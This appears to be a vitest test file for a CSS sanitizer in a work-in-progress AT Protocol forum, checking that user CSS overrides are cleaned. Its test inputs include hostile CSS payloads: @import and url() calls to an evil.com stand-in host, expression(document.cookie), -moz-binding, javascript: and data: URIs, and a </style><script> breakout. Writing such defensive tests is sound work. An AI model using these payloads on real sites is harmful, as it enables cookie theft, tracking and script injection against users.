WIP! A BB-style forum, on the ATmosphere!
We're still working... we'll be back soon when we have something to show off!
node
typescript
hono
htmx
atproto
1import { describe, it, expect } from "vitest";
2import { sanitizeCssOverrides, sanitizeCss } from "../index.js";
3
4// ─── sanitizeCssOverrides ────────────────────────────────────────────────────
5
6describe("sanitizeCssOverrides", () => {
7 // ── Safe passthrough ──────────────────────────────────────────────────────
8
9 it("passes through safe CSS unchanged (structurally)", () => {
10 const css = ".btn { color: var(--color-primary); font-weight: bold; }";
11 const { css: result, warnings } = sanitizeCssOverrides(css);
12 expect(warnings).toHaveLength(0);
13 // Should contain the key property (generated CSS may vary in whitespace)
14 expect(result).toContain("color:var(--color-primary)");
15 expect(result).toContain("font-weight:bold");
16 });
17
18 it("allows relative url() paths", () => {
19 const css = ".hero { background: url('/static/img/bg.png'); }";
20 const { css: result, warnings } = sanitizeCssOverrides(css);
21 expect(warnings).toHaveLength(0);
22 expect(result).toContain("url(");
23 });
24
25 it("allows @keyframes rules", () => {
26 const css = "@keyframes fade { from { opacity: 0; } to { opacity: 1; } }";
27 const { css: result, warnings } = sanitizeCssOverrides(css);
28 expect(warnings).toHaveLength(0);
29 expect(result).toContain("opacity");
30 });
31
32 it("allows @media rules", () => {
33 const css = "@media (max-width: 768px) { body { color: red; } }";
34 const { css: result, warnings } = sanitizeCssOverrides(css);
35 expect(warnings).toHaveLength(0);
36 expect(result).toContain("color:red");
37 });
38
39 it("allows @font-face with relative src", () => {
40 const css = "@font-face { font-family: MyFont; src: url('/fonts/myfont.woff2'); }";
41 const { css: result, warnings } = sanitizeCssOverrides(css);
42 expect(warnings).toHaveLength(0);
43 expect(result).toContain("font-family");
44 });
45
46 it("returns empty string and no warnings for empty input", () => {
47 expect(sanitizeCssOverrides("")).toEqual({ css: "", warnings: [] });
48 expect(sanitizeCssOverrides(" ")).toEqual({ css: "", warnings: [] });
49 });
50
51 // ── @import ───────────────────────────────────────────────────────────────
52
53 it("strips @import with url()", () => {
54 const { css, warnings } = sanitizeCssOverrides(
55 '@import url("https://evil.com/steal.css");'
56 );
57 expect(css).not.toContain("@import");
58 expect(css).not.toContain("evil.com");
59 expect(warnings.some((w) => w.includes("@import"))).toBe(true);
60 });
61
62 it("strips @import with bare string", () => {
63 const { css, warnings } = sanitizeCssOverrides(
64 '@import "https://evil.com/steal.css";'
65 );
66 expect(css).not.toContain("@import");
67 expect(warnings.some((w) => w.includes("@import"))).toBe(true);
68 });
69
70 it("strips multiple @import rules", () => {
71 const input = [
72 '@import "https://evil.com/a.css";',
73 ".btn { color: red; }",
74 '@import url("https://evil.com/b.css");',
75 ].join("\n");
76 const { css, warnings } = sanitizeCssOverrides(input);
77 expect(css).not.toContain("@import");
78 expect(css).toContain("color:red");
79 expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2);
80 });
81
82 it("strips @IMPORT with uppercase obfuscation", () => {
83 // CSS keywords are case-insensitive per spec. The sanitizer normalizes via
84 // node.name.toLowerCase() before comparison, so @IMPORT is caught even if
85 // css-tree preserves the original casing in the AST node name.
86 const { css, warnings } = sanitizeCssOverrides(
87 '@IMPORT "https://evil.com/steal.css";'
88 );
89 expect(css).not.toContain("evil.com");
90 expect(warnings.some((w) => w.includes("@import"))).toBe(true);
91 });
92
93 // ── external url() in declarations ───────────────────────────────────────
94
95 it("strips declarations with http:// url()", () => {
96 const { css, warnings } = sanitizeCssOverrides(
97 'body { background: url("http://evil.com/track.gif"); }'
98 );
99 expect(css).not.toContain("evil.com");
100 expect(warnings.some((w) => w.includes("background"))).toBe(true);
101 });
102
103 it("strips declarations with https:// url()", () => {
104 const { css, warnings } = sanitizeCssOverrides(
105 "body { background-image: url(https://evil.com/steal.gif); }"
106 );
107 expect(css).not.toContain("evil.com");
108 expect(warnings.some((w) => w.includes("background-image"))).toBe(true);
109 });
110
111 it("strips declarations with protocol-relative // url()", () => {
112 const { css, warnings } = sanitizeCssOverrides(
113 "body { background: url(//evil.com/steal.gif); }"
114 );
115 expect(css).not.toContain("evil.com");
116 expect(warnings.length).toBeGreaterThan(0);
117 });
118
119 it("strips content: url() on pseudo-elements", () => {
120 const { css, warnings } = sanitizeCssOverrides(
121 ".el::before { content: url('https://evil.com/pixel.gif'); }"
122 );
123 expect(css).not.toContain("evil.com");
124 expect(warnings.some((w) => w.includes("content"))).toBe(true);
125 });
126
127 // ── data: URIs ────────────────────────────────────────────────────────────
128
129 it("strips declarations with data: URI", () => {
130 const { css, warnings } = sanitizeCssOverrides(
131 'body { background: url("data:text/html,<script>alert(1)</script>"); }'
132 );
133 expect(css).not.toContain("data:");
134 expect(warnings.length).toBeGreaterThan(0);
135 });
136
137 it("strips declarations with data: URI (unquoted)", () => {
138 const { css, warnings } = sanitizeCssOverrides(
139 "body { background: url(data:image/svg+xml;base64,PHN2Zy8+); }"
140 );
141 expect(css).not.toContain("data:");
142 expect(warnings.length).toBeGreaterThan(0);
143 });
144
145 // ── @font-face with external src ─────────────────────────────────────────
146
147 it("strips @font-face with external https src", () => {
148 const { css, warnings } = sanitizeCssOverrides(
149 '@font-face { font-family: Evil; src: url("https://evil.com/font.woff2"); }'
150 );
151 expect(css).not.toContain("@font-face");
152 expect(css).not.toContain("evil.com");
153 expect(warnings.some((w) => w.includes("@font-face"))).toBe(true);
154 });
155
156 it("strips @font-face with external http src", () => {
157 const { css, warnings } = sanitizeCssOverrides(
158 '@font-face { font-family: Evil; src: url("http://evil.com/font.woff2"); }'
159 );
160 expect(css).not.toContain("@font-face");
161 expect(warnings.some((w) => w.includes("@font-face"))).toBe(true);
162 });
163
164 // ── expression() ─────────────────────────────────────────────────────────
165
166 it("strips declarations with expression()", () => {
167 const { css, warnings } = sanitizeCssOverrides(
168 "body { color: expression(document.cookie); }"
169 );
170 expect(css).not.toContain("expression(");
171 expect(css).not.toContain("document.cookie");
172 expect(warnings.some((w) => w.includes("color"))).toBe(true);
173 });
174
175 it("strips declarations with expression() in width", () => {
176 const { css, warnings } = sanitizeCssOverrides(
177 "div { width: expression(alert(1)); }"
178 );
179 expect(css).not.toContain("expression(");
180 expect(warnings.some((w) => w.includes("width"))).toBe(true);
181 });
182
183 it("strips EXPRESSION() with uppercase obfuscation", () => {
184 // The sanitizer normalizes via inner.name.toLowerCase() before comparison,
185 // so EXPRESSION() is caught regardless of how css-tree stores the function name.
186 const { css, warnings } = sanitizeCssOverrides(
187 "div { width: EXPRESSION(alert(1)); }"
188 );
189 expect(css).not.toContain("EXPRESSION(");
190 expect(css).not.toContain("alert(");
191 expect(warnings.some((w) => w.includes("width"))).toBe(true);
192 });
193
194 // ── dangerous properties ──────────────────────────────────────────────────
195
196 it("strips -moz-binding property", () => {
197 const { css, warnings } = sanitizeCssOverrides(
198 'body { -moz-binding: url("https://evil.com/xss.xml#xss"); }'
199 );
200 expect(css).not.toContain("-moz-binding");
201 expect(css).not.toContain("evil.com");
202 expect(warnings.some((w) => w.includes("-moz-binding"))).toBe(true);
203 });
204
205 it("strips behavior property", () => {
206 const { css, warnings } = sanitizeCssOverrides(
207 "body { behavior: url('evil.htc'); }"
208 );
209 expect(css).not.toContain("behavior");
210 expect(warnings.some((w) => w.includes("behavior"))).toBe(true);
211 });
212
213 it("strips -webkit-binding property", () => {
214 const { css, warnings } = sanitizeCssOverrides(
215 'body { -webkit-binding: url("evil.xml"); }'
216 );
217 expect(css).not.toContain("-webkit-binding");
218 expect(warnings.some((w) => w.includes("-webkit-binding"))).toBe(true);
219 });
220
221 // ── javascript: URL ───────────────────────────────────────────────────────
222
223 it("strips declarations with javascript: URL", () => {
224 const { css, warnings } = sanitizeCssOverrides(
225 "body { background: url('javascript:alert(1)'); }"
226 );
227 expect(css).not.toContain("javascript:");
228 expect(warnings.length).toBeGreaterThan(0);
229 });
230
231 // ── mixed safe + unsafe ───────────────────────────────────────────────────
232
233 it("strips only the dangerous declarations, preserves safe ones", () => {
234 const input = [
235 ".btn { color: red; }",
236 'body { background: url("https://evil.com/track.gif"); }',
237 ".card { font-size: 14px; }",
238 ].join("\n");
239 const { css, warnings } = sanitizeCssOverrides(input);
240 expect(css).toContain("color:red");
241 expect(css).toContain("font-size:14px");
242 expect(css).not.toContain("evil.com");
243 expect(warnings).toHaveLength(1);
244 });
245
246 it("strips unsafe inside @media but keeps the @media rule", () => {
247 const input = `
248 @media (max-width: 768px) {
249 body { background: url('https://evil.com/track.gif'); }
250 .btn { color: red; }
251 }
252 `;
253 const { css, warnings } = sanitizeCssOverrides(input);
254 expect(css).toContain("@media");
255 expect(css).not.toContain("evil.com");
256 expect(css).toContain("color:red");
257 expect(warnings).toHaveLength(1);
258 });
259
260 // ── warnings list ─────────────────────────────────────────────────────────
261
262 it("returns a warning for each stripped construct", () => {
263 const input = [
264 '@import "https://evil.com/a.css";',
265 "body { background: url('https://evil.com/b.gif'); }",
266 "body { color: expression(x); }",
267 ].join("\n");
268 const { warnings } = sanitizeCssOverrides(input);
269 expect(warnings).toHaveLength(3);
270 });
271
272 // ── performance ───────────────────────────────────────────────────────────
273
274 it("sanitizes reasonable CSS in under 50ms", () => {
275 // ~50 rules — a realistic CSS overrides block
276 const rules = Array.from({ length: 50 }, (_, i) =>
277 `.class-${i} { color: var(--color-${i}); margin: ${i}px; }`
278 ).join("\n");
279
280 const start = Date.now();
281 sanitizeCssOverrides(rules);
282 expect(Date.now() - start).toBeLessThan(50);
283 });
284});
285
286// ─── sanitizeCss (render-time wrapper) ───────────────────────────────────────
287
288describe("sanitizeCss", () => {
289 it("returns only the CSS string (no warnings object)", () => {
290 const result = sanitizeCss(".btn { color: red; }");
291 expect(typeof result).toBe("string");
292 expect(result).toContain("color:red");
293 });
294
295 it("strips dangerous content and returns safe string", () => {
296 const result = sanitizeCss('@import "https://evil.com/steal.css"; .ok { color: red; }');
297 expect(result).not.toContain("@import");
298 expect(result).toContain("color:red");
299 });
300
301 it("discards malformed CSS containing raw </style> (parse error → fail closed)", () => {
302 // Raw </style> is invalid CSS syntax — css-tree's onParseError fires,
303 // and the fail-closed policy discards the entire input for security.
304 const result = sanitizeCss('body { color: red; } </style><script>alert(1)</script>');
305 expect(result).not.toContain("</style");
306 expect(result).not.toContain("<script>");
307 expect(result).toBe("");
308 });
309
310 it("strips </style> from CSS string literal values (HTML parser injection vector)", () => {
311 // A CSS string literal containing </style> is valid CSS that passes parsing.
312 // Without post-processing, generate() reproduces it verbatim and the HTML
313 // parser would end the <style> block when injected via dangerouslySetInnerHTML.
314 // Stripping </style is sufficient: <script> that follows it stays as harmless
315 // CSS text inside the style block and cannot execute.
316 const result = sanitizeCss('.foo::before { content: "</style><script>alert(1)</script>"; }');
317 expect(result).not.toContain("</style");
318 });
319});